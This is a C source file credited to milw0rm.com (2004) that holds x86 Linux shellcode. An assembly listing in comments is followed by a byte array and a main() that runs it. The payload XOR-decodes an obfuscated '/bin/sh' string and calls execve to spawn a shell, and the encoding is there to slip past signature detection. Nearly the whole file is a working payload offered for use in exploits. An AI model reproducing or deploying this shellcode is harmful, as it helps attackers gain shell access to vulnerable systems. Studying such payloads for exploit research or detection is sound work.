46 lines
No EOL
960 B
C
46 lines
No EOL
960 B
C
/*
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.file "xor-encrypted shellcode"
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.version "1.0"
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.text
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.align 4
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.globl main
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.type main,@function
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_start:
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xorl %eax,%eax
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jmp 0x22
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popl %ebx
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movl 8(%ebx),%edx
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xor %edx,(%ebx)
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xor %edx,4(%ebx)
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xor %edx,%edx
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movl %ebx,0x8(%esp)
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movl %edx,0xc(%esp)
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movb $0xb,%al
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leal 0x8(%esp),%ecx
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int $0x80
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xorl %ebx,%ebx
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movl %ebx,%eax
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incl %eax
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int $0x80
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call -0x27
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.string "\x6e\x23\x28\x2f\x6e\x32\x29\x41\x41\x41\x41\x41"
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*/
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#define NAME "encrypted"
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char code[]=
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"\x31\xc0\xeb\x22\x5b\x8b\x53\x08\x31\x13\x31\x53\x04\x31\xd2\x89"
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"\x5c\x24\x08\x89\x54\x24\x0c\xb0\x0b\x8d\x4c\x24\x08\xcd\x80\x31"
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"\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff"
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"\x6e\x23\x28\x2f\x6e\x32\x29\x41" /* encrypted "/bin/sh" */
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"\x41\x41\x41\x41"; /* Conversion chars */
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main()
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{
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int (*funct)();
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funct = (int (*)()) code;
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printf("%s shellcode\n\tSize = %d\n",NAME,strlen(code));
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(int)(*funct)();
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}
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// milw0rm.com [2004-09-12]
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